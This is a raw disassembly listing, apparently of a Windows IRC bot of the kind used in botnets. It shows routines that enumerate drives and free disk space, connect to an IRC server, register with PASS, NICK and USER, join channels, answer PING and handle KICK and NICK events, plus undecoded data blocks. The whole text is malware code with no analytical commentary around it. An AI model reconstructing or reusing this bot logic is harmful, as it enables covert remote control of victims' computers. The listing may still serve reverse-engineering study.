loc_40C2A6: ; CODE XREF: sub_40C27B+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C27B+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40C2B2: ; CODE XREF: sub_40C27B+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40C2B8: ; CODE XREF: sub_40C27B+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40C2BE: ; CODE XREF: sub_40C27B+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40C27B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2C4 proc near ; CODE XREF: sub_40C30C+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, ds:dword_43A274 test eax, eax jz short loc_40C2F9 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_40C2F9: ; CODE XREF: sub_40C2C4+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40C2C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C30C proc near ; CODE XREF: sub_40AAB5+1F3p ; sub_40C427+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40C2C4 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40C3E4 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40C3E4 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40C3E4 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_417730 push edx push eax call sub_40C1FC mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_415A4A add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_417730 push edx push eax call sub_40C1FC push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_415A4A add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_417730 push edx push eax call sub_40C1FC push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_415A4A add esp, 18h pop ebx jmp short loc_40C413 ; --------------------------------------------------------------------------- loc_40C3E4: ; CODE XREF: sub_40C30C+2Cj ; sub_40C30C+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4154CD lea eax, [ebp+var_118] push esi push eax call sub_4154CD lea eax, [ebp+var_98] push esi push eax call sub_4154CD add esp, 18h loc_40C413: ; CODE XREF: sub_40C30C+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40C30C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C427 proc near ; CODE XREF: sub_40C4F9+17p ; sub_40C4F9+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40C30C push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4158F0 add esp, 10h test eax, eax jnz short loc_40C49A push ebx push ebx call sub_40C27B pop ecx push eax push offset dword_42C0F0 lea eax, [ebp+var_500] push 200h push eax call sub_415A4A add esp, 14h jmp short loc_40C4CE ; --------------------------------------------------------------------------- loc_40C49A: ; CODE XREF: sub_40C427+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40C27B pop ecx push eax push offset dword_42C0A0 lea eax, [ebp+var_500] push 200h push eax call sub_415A4A add esp, 20h loc_40C4CE: ; CODE XREF: sub_40C427+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 lea eax, [ebp+var_500] push eax call sub_40B151 add esp, 18h pop edi pop esi pop ebx leave retn sub_40C427 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C4F9 proc near ; CODE XREF: seg000:00412051p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40C51A push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C427 add esp, 10h jmp short loc_40C57B ; --------------------------------------------------------------------------- loc_40C51A: ; CODE XREF: sub_40C4F9+9j push esi push edi push ebx push ebx call ds:dword_43A2E8 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_415DA9 pop ecx mov edi, eax push edi push esi call ds:dword_43A2E8 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_40C572 loc_40C53E: ; CODE XREF: sub_40C4F9+77j push offset aA_0 ; "A:\\" push esi call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40C561 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C427 add esp, 10h loc_40C561: ; CODE XREF: sub_40C4F9+54j push esi call sub_415CD0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40C53E loc_40C572: ; CODE XREF: sub_40C4F9+43j push edi call sub_415E1D pop ecx pop edi pop esi loc_40C57B: ; CODE XREF: sub_40C4F9+1Fj pop ebx pop ebp retn sub_40C4F9 endp ; --------------------------------------------------------------------------- loc_40C57E: ; DATA XREF: seg000:0040C677o push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push ds:dword_43F514 call ds:dword_43A410 ; closesocket call sub_415142 call ds:dword_43A2D8 ; WSACleanup call ds:dword_43A2D8 ; WSACleanup mov ebx, ds:dword_421060 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_415550 push 44h lea eax, [ebp-54h] pop esi push esi push edi push eax call sub_415550 add esp, 18h mov [ebp-54h], esi mov esi, 104h lea eax, [ebp-25Ch] push esi push eax mov dword ptr [ebp-48h], offset byte_438F9C mov dword ptr [ebp-28h], 1 mov [ebp-24h], di call near ptr 3D0000h mov esp, 0FEA8858Dh ; --------------------------------------------------------------------------- dd 5056FFFFh, 39FAE857h, 8D1EFFFCh, 8D50F045h, 8D50AC45h dd 0FFFDA485h, 6A5750FFh, 57016A28h, 0FEA8858Dh, 5057FFFFh dd 39D6E857h, 855EFFFCh, 6A1474C0h, 0FFD3FF64h, 358BF075h dd 42106Ch, 75FFD6FFh, 8BD6FFF4h, 80C71045h, 0B0h, 43E780h dd 6424048Bh, 0A3h, 8C48300h, 1415FF57h, 5F004211h ; --------------------------------------------------------------------------- pop esi pop ebx push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset loc_40C57E push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp cmp ds:dword_42C158, ebx jz short loc_40C69C call sub_409F81 loc_40C69C: ; CODE XREF: seg000:0040C695j mov esi, ds:dword_42104C call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_4687F8, eax call esi ; GetTickCount push eax call sub_41551F pop ecx call sub_4089D6 push 2 call ds:dword_43A424 ; SetErrorMode push 7530h push offset aIds443 ; "ids443" push ebx push ebx call near ptr 10A0004h cdq push eax call near ptr 12E0004h in eax, 3Dh add al, [ecx] ; --------------------------------------------------------------------------- dd 8750000h, 15FF016Ah, 421114h, 0F77C858Dh, 6850FFFFh dd 202h, 0A2F015FFh, 0C33B0043h, 0FF84589h, 44385h, 7CBD8000h dd 2FFFFF7h, 430850Fh, 0C0330000h, 0F77D858Ah, 23CFFFFh dd 420850Fh, 4BE0000h, 8D000001h, 0FFFC1085h, 0E85056FFh dd 0EF38C8h, 14858D7Fh, 56FFFFFDh, 0B9E85350h, 3800F138h dd 38B2E850h, 8D0400F3h, 0FFFB1085h, 858D50FFh, 0FFFFF90Ch dd 858D5350h, 0FFFFFD14h, 0B9E85053h, 8D0000ABh, 0FFFB1085h dd 858D50FFh, 0FFFFF90Ch, 6C806850h, 858D0042h, 0FFFFFA0Ch dd 0BBE85056h, 8D000092h, 0FFFC1085h, 858D50FFh, 0FFFFFD14h dd 92FEE850h, 0C4830000h, 0FC08530h, 1A685h, 681D3900h dd 0BE004689h, 42C1B8h, 33563174h, 950EE8FFh, 0E8830000h dd 23745904h, 8D5CE8h, 991A6A00h, 56F9F759h, 8861C280h dd 42C1B897h, 0EDE84700h, 83000094h, 3B5904E8h, 8DDD72F8h dd 0FFFC1085h, 8D5056FFh, 0FFFE1885h, 906868FFh, 0E8500042h dd 8CC9h, 8D10C483h, 0FFFE1885h, 15FF50FFh, 421094h, 74FFF883h dd 18858D12h, 68FFFFFEh, 80h, 37D6E850h, 8B73FFFCh, 42112435h dd 18858D00h, 53FFFFFEh, 14858D50h, 33FFFFFDh, 0D6FF50FFh dd 3375C085h, 108815FFh, 0FB3B0042h, 0F8832975h, 83057420h dd 1F7505F8h, 685F016Ah, 3A98h, 106015FFh, 858D0042h, 0FFFFFE18h dd 858D5053h, 0FFFFFD14h, 8DC7EB50h, 0FFFE1885h, 0ACE850FFh dd 59FFFFD4h, 0FE18858Dh, 76AFFFFh, 376EE850h, 6AC600F9h dd 0E4458D10h, 0ADE85053h, 6A00008Ch, 9C458D44h, 5053565Eh dd 8C9FE8h, 18C48300h, 0C79C7589h, 8F9CA845h, 89660043h dd 16ACC5Dh, 0C875895Eh, 0FB3737E8h, 56509C00h, 10000068h dd 372AE800h, 8D8000FDh, 0FFFD148Dh, 8D5051FFh, 0FFFE1885h dd 858D50FFh, 0FFFFF678h, 43313868h, 0D2E85000h, 8300008Bh dd 458D14C4h, 458D50E4h, 858D509Ch, 0FFFFFC10h, 286A5350h dd 858D5356h, 0FFFFF678h, 858D5053h, 0FFFFFE18h, 36DEE850h dd 851900FFh, 682874C0h, 0C8h, 106015FFh, 75FF0042h, 6C358BE4h dd 0FF004210h, 0E875FFD6h, 15FFD6FFh, 43A2D8h, 1415FF53h dd 83004211h, 4694903Dh, 437E0200h, 469494A1h, 470FF00h dd 90D6E8h, 0F08B5900h, 0E856FF6Ah, 0FFFC368Ch, 15FF563Ch dd 42106Ch, 469494A1h, 8583900h, 0D0681974h, 0FF000007h dd 42106015h, 9494A100h, 70FF0046h, 3662E808h, 39C9FFFCh dd 42C1601Dh, 39157400h, 43A4481Dh, 8D0D7500h, 0FFFA0C85h dd 0D7E850FFh, 59FFFFE9h, 0FF1C858Dh, 0C68FFFFh, 50004331h dd 8B00E8h, 858D5300h, 0FFFFFF1Ch, 9EE85053h, 8D000085h dd 0FFFF1C85h, 6AE850FFh, 68FFFFE7h, 0B80h, 0E7886853h dd 59E80043h, 0E800008Bh, 8B2Dh, 88687F6Ah, 680042C1h dd 468804h, 897C1D89h, 0DE80046h, 0A10000A3h, 42C144h dd 84BF3F6Ah, 68004688h, 42C194h, 8954A357h, 0F1E80046h dd 6A0000A2h, 88C4BE3Fh, 98680046h, 560042C1h, 0A2DFE8h dd 48C48300h, 89581D89h, 5D890046h, 601D39FCh, 750043A4h dd 0E0458D16h, 15FF5053h, 43A2BCh, 775C085h, 753068h, 682CEB00h dd 468800h, 89781D89h, 0DEE80046h, 83000000h, 458902F8h dd 0BE840FF8h, 39000000h, 4689781Dh, 0FF037400h, 0B868FC4Dh dd 0FF00000Bh, 42106015h, 0FC45FF00h, 6FC7D83h, 7D83A77Ch dd 840F02F8h, 95h, 74F45D39h, 687F6A40h, 42C188h, 46880468h dd 0A25AE800h, 44A10000h, 6A0042C1h, 0C194683Fh, 0A3570042h dd 468954h, 0A243E8h, 683F6A00h, 42C198h, 0A236E856h, 0C4830000h dd 0F45D8924h, 0FFFF55E9h, 0A01D38FFh, 0F0042C1h, 0FFFF4984h dd 687F6AFFh, 42C1A0h, 46880468h, 0A20EE800h, 48A10000h dd 6A0042C1h, 0C1AC683Fh, 0A3570042h, 468954h, 0A1F7E8h dd 683F6A00h, 42C1B0h, 0A1EAE856h, 0C4830000h, 0F445C724h dd 1, 0FFFF05E9h, 85F8E8FFh, 15FF0000h, 43A2D8h, 0C0335E5Fh dd 10C2C95Bh db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB59 proc near ; DATA XREF: seg000:0041080Eo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40CB7E: ; CODE XREF: sub_40CB59+E6j ; sub_40CB59+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415550 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call ds:dword_43A378 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A03F test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40CCAB push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_415550 push 0 lea eax, [ebp+var_2C] push ds:dword_46896C push ds:dword_42C16C push eax call sub_414419 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43F520 push edi push eax call sub_416D20 add esp, 28h push 6 push 1 push 2 call ds:dword_43A3F8 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov ds:dword_43F514[eax], esi lea eax, [ebp+var_10] push eax push esi call ds:dword_43A320 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40CC44 push esi call ds:dword_43A410 ; closesocket call sub_40A068 push 7D0h loc_40CC39: ; CODE XREF: sub_40CB59+146j call ds:dword_421060 ; Sleep jmp loc_40CB7E ; --------------------------------------------------------------------------- loc_40CC44: ; CODE XREF: sub_40CB59+CDj lea eax, [ebp+var_18C] push eax push offset dword_433144 call sub_40B1C5 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40CCC1 add esp, 28h mov edi, eax push esi call ds:dword_43A410 ; closesocket test edi, edi jz loc_40CB7E cmp edi, 1 jnz short loc_40CCA1 push 0DBBA0h jmp short loc_40CC39 ; --------------------------------------------------------------------------- loc_40CCA1: ; CODE XREF: sub_40CB59+13Fj cmp edi, 2 jz short loc_40CCAF jmp loc_40CB7E ; --------------------------------------------------------------------------- loc_40CCAB: ; CODE XREF: sub_40CB59+5Aj xor eax, eax jmp short loc_40CCBB ; --------------------------------------------------------------------------- loc_40CCAF: ; CODE XREF: sub_40CB59+14Bj push [ebp+var_34] call sub_415295 pop ecx push 2 pop eax loc_40CCBB: ; CODE XREF: sub_40CB59+154j pop edi pop esi leave retn 4 sub_40CB59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCC1 proc near ; CODE XREF: sub_40CB59+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_415D50 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40CCDF: ; CODE XREF: sub_40CCC1+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40CCDF cmp ds:byte_468970, bl jz short loc_40CD06 push offset byte_468970 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_412CEC add esp, 0Ch loc_40CD06: ; CODE XREF: sub_40CCC1+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_414419 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4154CD add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jnz short loc_40CD70 push [ebp+arg_0] call ds:dword_43A410 ; closesocket push 1388h call ds:dword_421060 ; Sleep loc_40CD69: ; CODE XREF: sub_40CCC1+D9j ; sub_40CCC1+153j xor eax, eax loc_40CD6B: ; CODE XREF: sub_40CCC1+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40CD70: ; CODE XREF: sub_40CCC1+92j ; sub_40CCC1+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_415550 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call ds:dword_43A390 ; recv test eax, eax jle short loc_40CD69 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_409A1F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40CD70 lea edi, [ebp+var_A10] loc_40CDC1: ; CODE XREF: sub_40CCC1+165j push 1 pop esi loc_40CDC4: ; CODE XREF: sub_40CCC1+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call loc_40CE39 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40CE07 push 7D0h call ds:dword_421060 ; Sleep jmp short loc_40CDC4 ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CCC1+137j cmp esi, 0FFFFFFFDh jz short loc_40CE31 cmp esi, 0FFFFFFFEh jz short loc_40CE2D cmp esi, 0FFFFFFFFh jz loc_40CD69 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40CDC1 jmp loc_40CD70 ; --------------------------------------------------------------------------- loc_40CE2D: ; CODE XREF: sub_40CCC1+14Ej push 1 jmp short loc_40CE33 ; --------------------------------------------------------------------------- loc_40CE31: ; CODE XREF: sub_40CCC1+149j push 2 loc_40CE33: ; CODE XREF: sub_40CCC1+16Ej pop eax jmp loc_40CD6B sub_40CCC1 endp ; --------------------------------------------------------------------------- loc_40CE39: ; CODE XREF: sub_40CCC1+12Ap push ebp mov ebp, esp mov eax, 159Ch call sub_415D50 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp-2C8h] push ebx push eax mov dword ptr [ebp-0ACh], 3 mov [ebp-10h], ebx mov [ebp-98h], ebx mov [ebp-8], ebx mov [ebp-4], ebx mov [ebp-0C8h], ebx call sub_415550 push 1Bh lea eax, [ebp-564h] push dword ptr [ebp+18h] push eax call sub_416D20 add esp, 18h cmp [ebp+8], ebx jz loc_40D1FD push esi lea eax, [ebp-0F9Ch] push ebx push eax call sub_415550 dec esi lea eax, [ebp-0F9Ch] push esi push dword ptr [ebp+8] push eax call sub_416D20 lea eax, [ebp-0F9Ch] push offset asc_43656C ; " :" push eax call sub_415AA0 mov [ebp-0Ch], eax lea eax, [ebp-0F9Ch] push esi push eax lea eax, [ebp-119Ch] push eax call sub_416D20 mov esi, offset asc_4269C8 ; " " lea eax, [ebp-119Ch] push esi push eax call sub_416C78 add esp, 34h mov [ebp-94h], eax lea edi, [ebp-90h] mov dword ptr [ebp-0A8h], 1Fh loc_40CF0C: ; CODE XREF: seg000:0040CF20j push esi push ebx call sub_416C78 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp-0A8h] pop ecx jnz short loc_40CF0C mov esi, [ebp-94h] cmp esi, ebx jz loc_40D1FD cmp [ebp-90h], ebx jz loc_40D1FD push 100h lea eax, [ebp-0A14h] push ebx push eax call sub_415550 add esp, 0Ch lea ecx, [ebp-18h] push 1Fh pop edx push 1 pop edi loc_40CF5A: ; CODE XREF: seg000:0040CF8Cj mov eax, [ecx] cmp eax, ebx jz short loc_40CF86 cmp byte ptr [eax], 2Dh jnz short loc_40CF8E cmp [eax+2], bl jnz short loc_40CF8E movsx esi, byte ptr [eax+1] mov [ecx], ebx mov byte ptr [ebp+esi-0A14h], 1 mov esi, [ebp-94h] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40CF86: ; CODE XREF: seg000:0040CF5Ej dec edx sub ecx, 4 cmp edx, ebx jge short loc_40CF5A loc_40CF8E: ; CODE XREF: seg000:0040CF63j ; seg000:0040CF68j cmp [ebp-9A1h], bl jz short loc_40CF99 mov [ebp-8], edi loc_40CF99: ; CODE XREF: seg000:0040CF94j cmp [ebp-9A6h], bl jz short loc_40CFA7 mov [ebp-8], ebx mov [ebp-4], edi loc_40CFA7: ; CODE XREF: seg000:0040CF9Fj cmp byte ptr [esi], 0Ah jz short loc_40CFE1 push 7Fh lea eax, [ebp-0A94h] push esi push eax call sub_416D20 lea eax, [esi+1] push 17h push eax lea eax, [ebp-0C4h] push eax call sub_416D20 lea eax, [ebp-0C4h] push offset dword_42F3A4 push eax call sub_416C78 add esp, 20h loc_40CFE1: ; CODE XREF: seg000:0040CFAAj push esi push offset aPing ; "PING" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D032 push dword ptr [ebp-90h] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC mov eax, [ebp+28h] add esp, 0Ch cmp [eax], ebx jnz loc_40D0D6 push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC add esp, 10h jmp loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D032: ; CODE XREF: seg000:0040CFF0j mov esi, [ebp-90h] push esi push offset a001 ; "001" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412B00 push esi push offset a005 ; "005" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412B00 push esi push offset a302 ; "302" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D09D push offset a@_6 ; "@" push dword ptr [ebp-88h] call sub_415AA0 pop ecx cmp eax, ebx pop ecx jz short loc_40D0D6 inc eax push 9Fh push eax push dword ptr [ebp+24h] call sub_416D20 add esp, 0Ch jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D09D: ; CODE XREF: seg000:0040D071j push esi push offset a433 ; "433" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D0DD push ebx push ds:dword_46896C push ds:dword_42C16C push dword ptr [ebp+18h] call sub_414419 push dword ptr [ebp+18h] push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC add esp, 1Ch loc_40D0D6: ; CODE XREF: seg000:0040D011j ; seg000:0040D02Dj ... mov eax, edi jmp loc_40D200 ; --------------------------------------------------------------------------- loc_40D0DD: ; CODE XREF: seg000:0040D0ACj mov esi, [ebp+20h] mov dword ptr [ebp-0A8h], 2 mov edi, 80h loc_40D0EF: ; CODE XREF: seg000:0040D114j lea eax, [ebp-0A94h] push eax push esi call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D10C mov dword ptr [ebp-98h], 1 loc_40D10C: ; CODE XREF: seg000:0040D100j add esi, edi dec dword ptr [ebp-0A8h] jnz short loc_40D0EF mov esi, [ebp-90h] push esi push offset aKick ; "KICK" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40D205 mov esi, [ebp+20h] mov dword ptr [ebp+2Ch], 2 loc_40D13B: ; CODE XREF: seg000:0040D1C8j cmp [esi], bl jz loc_40D1C3 push 7Fh lea eax, [ebp-0A94h] push esi push eax call sub_416D20 lea eax, [ebp-0C4h] add esp, 0Ch test eax, eax jz short loc_40D1C3 cmp [ebp-88h], ebx jz short loc_40D1C3 push dword ptr [ebp-88h] lea eax, [ebp-0C4h] push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D1C3 lea eax, [ebp-0C4h] mov [esi], bl push eax lea eax, [ebp-2C8h] push offset dword_4364F8 push eax call sub_4154CD lea eax, [ebp-2C8h] push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC lea eax, [ebp-2C8h] push eax call sub_40B151 add esp, 20h loc_40D1C3: ; CODE XREF: seg000:0040D13Dj ; seg000:0040D15Dj ... add esi, edi dec dword ptr [ebp+2Ch] jnz loc_40D13B push dword ptr [ebp-88h] push dword ptr [ebp+18h] call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D1FD push dword ptr [ebp+14h] mov eax, [ebp+28h] push dword ptr [ebp+10h] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40D1F2: ; CODE XREF: seg000:0040D44Ej ; seg000:0040D7A5j push dword ptr [ebp+0Ch] call sub_412CEC loc_40D1FA: ; CODE XREF: seg000:00412039j ; seg000:00412056j ... add esp, 10h loc_40D1FD: ; CODE XREF: seg000:0040CE94j ; seg000:0040CF2Aj ... push 1 loc_40D1FF: ; CODE XREF: seg000:00412580j pop eax loc_40D200: ; CODE XREF: seg000:0040D0D8j ; seg000:0040EF9Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D205: ; CODE XREF: seg000:0040D12Bj push esi push offset aNick ; "NICK" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40D35B mov eax, [ebp-8Ch] mov esi, [ebp+20h] inc eax mov dword ptr [ebp+8], 2 mov [ebp+2Ch], eax loc_40D22E: ; CODE XREF: seg000:0040D280j lea eax, [ebp-0A94h] push eax push esi call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D27B lea eax, [ebp-0A94h] push 21h push eax call sub_417060 pop ecx cmp eax, ebx pop ecx mov [ebp+24h], eax jz short loc_40D27B push dword ptr [ebp+2Ch] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_415BE0 push dword ptr [ebp+24h] push edi call sub_415BF0 add esp, 10h mov edi, 80h loc_40D27B: ; CODE XREF: seg000:0040D23Fj ; seg000:0040D256j add esi, edi dec dword ptr [ebp+8] jnz short loc_40D22E lea eax, [ebp-0C4h] test eax, eax jz loc_40D1FD cmp [ebp+2Ch], ebx jz loc_40D1FD push dword ptr [ebp+18h] lea eax, [ebp-0C4h] push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D2C3 push 0Fh push dword ptr [ebp+2Ch] push dword ptr [ebp+18h] call sub_416D20 add esp, 0Ch jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_40D2C3: ; CODE XREF: seg000:0040D2ACj mov edi, [ebp+20h] xor esi, esi loc_40D2C8: ; CODE XREF: seg000:0040D2E9j cmp [edi], bl jz short loc_40D2DF lea eax, [ebp-0A94h] push eax push edi call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40D2F0 loc_40D2DF: ; CODE XREF: seg000:0040D2CAj inc esi add edi, 80h cmp esi, 2 jl short loc_40D2C8 jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_40D2F0: ; CODE XREF: seg000:0040D2DDj lea eax, [ebp-0A94h] push 21h push eax call sub_417060 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz loc_40D1FD push eax call sub_415CD0 push dword ptr [ebp+2Ch] mov edi, eax call sub_415CD0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40D1FD push dword ptr [ebp+8] shl esi, 7 push dword ptr [ebp+2Ch] add esi, [ebp+20h] push offset aSS_0 ; ":%s%s" push esi call sub_4154CD push 